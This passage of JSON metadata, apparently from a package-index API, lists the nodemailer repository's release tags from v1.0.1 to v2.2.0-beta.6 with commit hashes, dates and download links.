rl":"https://github.com/nodemailer/nodemailer/releases/tag/v2.2.0-beta.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.2.0-beta.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-beta.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-beta.6/manifests","release_url":null},{"name":"v2.2.0-beta.5","sha":"08c82e41a4d11a01e17855a9a6e9b463c5c5de31","kind":"commit","published_at":"2016-02-10T19:27:02.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.2.0-beta.5","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.2.0-beta.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.2.0-beta.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-beta.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-beta.5/manifests","release_url":null},{"name":"v2.2.0-beta.4","sha":"282bffba7d20b50c168c29447730388881a65b06","kind":"commit","published_at":"2016-02-10T18:19:18.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.2.0-beta.4","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.2.0-beta.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.2.0-beta.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-beta.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-beta.4/manifests","release_url":null},{"name":"v2.2.0-beta.3","sha":"e93e5d841bea3cdcd89b43a5d62d6b8d52389aff","kind":"commit","published_at":"2016-02-10T18:15:34.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.2.0-beta.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.2.0-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.2.0-beta.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-beta.3/manifests","release_url":null},{"name":"v2.2.0-beta.2","sha":"49b53c93cba88fb3875ce0c14eb1e007e634e7f2","kind":"commit","published_at":"2016-02-10T17:31:55.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.2.0-beta.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.2.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.2.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-beta.2/manifests","release_url":null},{"name":"v2.2.0-beta.1","sha":"47e065f645a198f35ed5a2e17cef3843ccce1bc4","kind":"commit","published_at":"2016-02-06T18:10:26.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.2.0-beta.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.2.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.2.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-beta.1/manifests","release_url":null},{"name":"v2.2.0-beta.0","sha":"60b0a5d66dd5c2c939296b1ebd283ff19bbdae36","kind":"commit","published_at":"2016-02-05T17:14:51.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.2.0-beta.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.2.0-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.2.0-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-beta.0/manifests","release_url":null},{"name":"v2.1.0","sha":"03ec24a3e214b6007a28340d60912e106c603c09","kind":"commit","published_at":"2016-02-01T13:44:09.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.1.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.1.0/manifests","release_url":null},{"name":"v2.1.0-rc.1","sha":"02e22fed2532da0ee8eea6dffad16c68f16ad85e","kind":"commit","published_at":"2016-01-25T12:38:00.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.1.0-rc.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.1.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.1.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.1.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.1.0-rc.1/manifests","release_url":null},{"name":"v2.1.0-rc.0","sha":"caf1847b9eb16221e0d602a22c0077a7941e185d","kind":"commit","published_at":"2016-01-20T21:36:08.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.1.0-rc.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.1.0-rc.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.1.0-rc.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.1.0-rc.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.1.0-rc.0/manifests","release_url":null},{"name":"v2.1.0-beta.3","sha":"252ab796b8b7dc775b24c130f32519d9846c55bc","kind":"commit","published_at":"2016-01-20T20:52:16.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.1.0-beta.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.1.0-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.1.0-beta.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.1.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.1.0-beta.3/manifests","release_url":null},{"name":"v2.1.0-beta.2","sha":"aa3b87ae2489b61d373d208714e8382985648831","kind":"commit","published_at":"2016-01-20T15:02:39.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.1.0-beta.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.1.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.1.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.1.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.1.0-beta.2/manifests","release_url":null},{"name":"v2.1.0-beta.1","sha":"9b752cf51c849cbab2d447101d25780466011e47","kind":"commit","published_at":"2016-01-20T12:51:58.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.1.0-beta.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.1.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.1.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.1.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.1.0-beta.1/manifests","release_url":null},{"name":"v2.1.0-beta.0","sha":"a555f11ccedf1d7515bd89bb6d3c83bf33d639c2","kind":"commit","published_at":"2016-01-19T22:08:08.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.1.0-beta.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.1.0-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.1.0-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.1.0-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.1.0-beta.0/manifests","release_url":null},{"name":"v2.0.0","sha":"6eb3f9c6a51fa2b4955fdfd32ee4a060c6e48118","kind":"commit","published_at":"2016-01-11T15:42:00.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.0.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.0.0/manifests","release_url":null},{"name":"v2.0.0-rc.2","sha":"482381a0125f4e9e7f81ccb7bc1054ccb3a4a612","kind":"commit","published_at":"2016-01-04T15:28:02.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.0.0-rc.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.0.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.0.0-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.0.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.0.0-rc.2/manifests","release_url":null},{"name":"v2.0.0-rc.1","sha":"d6851da9da6610f58abdfa11d2aee3b4b20c24e1","kind":"commit","published_at":"2016-01-04T15:19:14.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.0.0-rc.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.0.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.0.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.0.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.0.0-rc.1/manifests","release_url":null},{"name":"v2.0.0-beta.2","sha":"b9403accbbb63ecc06df9fa2beb8581c6c8871e8","kind":"commit","published_at":"2016-01-04T13:15:56.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.0.0-beta.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.0.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.0.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.0.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.0.0-beta.2/manifests","release_url":null},{"name":"v2.0.0-beta.1","sha":"733b6bba8208ae27c60a8f101e0c7f4cae29abc9","kind":"commit","published_at":"2016-01-02T22:58:08.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.0.0-beta.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.0.0-beta.1/manifests","release_url":null},{"name":"v2.0.0-beta.0","sha":"6deb76ca22cf545294416d6089963af1a12ef3b8","kind":"commit","published_at":"2015-12-31T11:33:23.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.0.0-beta.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.0.0-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.0.0-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.0.0-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.0.0-beta.0/manifests","release_url":null},{"name":"v1.11.0","sha":"f1ef244a79591bde54aa8504b4095f5ad9365c48","kind":"commit","published_at":"2015-12-28T13:02:41.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.11.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.11.0/manifests","release_url":null},{"name":"v1.10.0","sha":"f7882779bc6806e80b6fd060e4049089aecec95f","kind":"commit","published_at":"2015-11-13T15:07:56.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.10.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.10.0/manifests","release_url":null},{"name":"v1.9.0","sha":"b88e7a655e609b0580fff5ec861e6f247755fda1","kind":"commit","published_at":"2015-11-09T14:46:59.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.9.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.9.0/manifests","release_url":null},{"name":"v1.8.0","sha":"d90ab64bf05a38e805942a6b90cdd83a4d7bce55","kind":"commit","published_at":"2015-10-08T10:58:26.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.8.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.8.0/manifests","release_url":null},{"name":"v1.7.0","sha":"254a4024cdbbb0fb0e6903bd065cb7bfc56805ab","kind":"commit","published_at":"2015-10-06T07:49:59.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.7.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.7.0/manifests","release_url":null},{"name":"v1.6.0","sha":"529a8c92c2cda2d810410fc6406e07576ddde290","kind":"commit","published_at":"2015-10-05T15:25:35.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.6.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.6.0/manifests","release_url":null},{"name":"v1.5.0","sha":"038ba918cbdbed59a4ef519c18527438b0019f4c","kind":"commit","published_at":"2015-09-24T12:30:39.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.5.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.5.0/manifests","release_url":null},{"name":"v1.4.0","sha":"f81053e8d25c7f738bdc48cc95326cef67d9782c","kind":"commit","published_at":"2015-06-27T19:24:38.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.4.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.4.0/manifests","release_url":null},{"name":"v1.3.4","sha":"d2dc02494570f8fbd5fad9e009afbcb317189297","kind":"commit","published_at":"2015-04-15T09:45:26.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.3.4","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.3.4/manifests","release_url":null},{"name":"v1.3.3","sha":"587a9363e2973855cd832de4f0ab21de1c5a9ea4","kind":"commit","published_at":"2015-04-15T08:28:24.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.3.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.3.3/manifests","release_url":null},{"name":"v1.3.2","sha":"8f0234edda6e35349fbbd8728d6e8c7444a9f9ed","kind":"commit","published_at":"2015-03-09T20:52:19.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.3.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.3.2/manifests","release_url":null},{"name":"v1.3.1","sha":"21aea9186eedef7fd5083382cbdae8bfb9c7bb1a","kind":"commit","published_at":"2015-02-18T20:02:25.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.3.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.3.1/manifests","release_url":null},{"name":"v1.3.0","sha":"3a112502a4be68b40886a06bcc299377d36ed594","kind":"commit","published_at":"2014-09-12T11:59:06.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.3.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.3.0/manifests","release_url":null},{"name":"v1.2.2","sha":"e22e9ef265461ef0753d609b901f399f35d51ae8","kind":"commit","published_at":"2014-09-05T14:32:57.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.2.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.2.2/manifests","release_url":null},{"name":"v1.2.1","sha":"2f1cc293fc3d4dbc3e68597fe48ae40f5e8091f8","kind":"commit","published_at":"2014-08-21T13:35:27.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.2.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.2.1/manifests","release_url":null},{"name":"v1.2.0","sha":"a1db5d2d456ad551f6f7d5b39393e83e672d1d6d","kind":"commit","published_at":"2014-08-18T08:54:24.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.2.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.2.0/manifests","release_url":null},{"name":"v1.1.2","sha":"9460e93e36b68c51396dc6b0985381d7847c140a","kind":"commit","published_at":"2014-08-18T07:44:23.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.1.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.1.2/manifests","release_url":null},{"name":"v1.1.1","sha":"f596c7bd3b2abab0743b0b3a68638ed53bb2fc0b","kind":"commit","published_at":"2014-07-30T10:55:40.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.1.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.1.1/manifests","release_url":null},{"name":"v1.1.0","sha":"7286528ab853474ffcdadfbd4c57d1412140442c","kind":"commit","published_at":"2014-07-29T15:21:36.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.1.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.1.0/manifests","release_url":null},{"name":"v1.0.4","sha":"74c97ecf955d8adafc064fb064cc308d075fef36","kind":"commit","published_at":"2014-07-23T09:52:06.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.0.4","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.0.4/manifests","release_url":null},{"name":"v1.0.3","sha":"d3ef8cdab2033544da8bc684bef68b8bc5dc824a","kind":"commit","published_at":"2014-07-16T18:33:14.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.0.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.0.3/manifests","release_url":null},{"name":"v1.0.2","sha":"474f3b39a310d0c7c2c3c708b7099b9587555e69","kind":"commit","published_at":"2014-07-16T08:07:56.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.0.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.0.2/manifests","release_url":null},{"name":"v1.0.1","sha":"e2168b4812f328ea877ac05032653ed4b9827663","kind":"commit","published_at":"2014-07-15T15:23:11.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v1.0.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v1.0.1/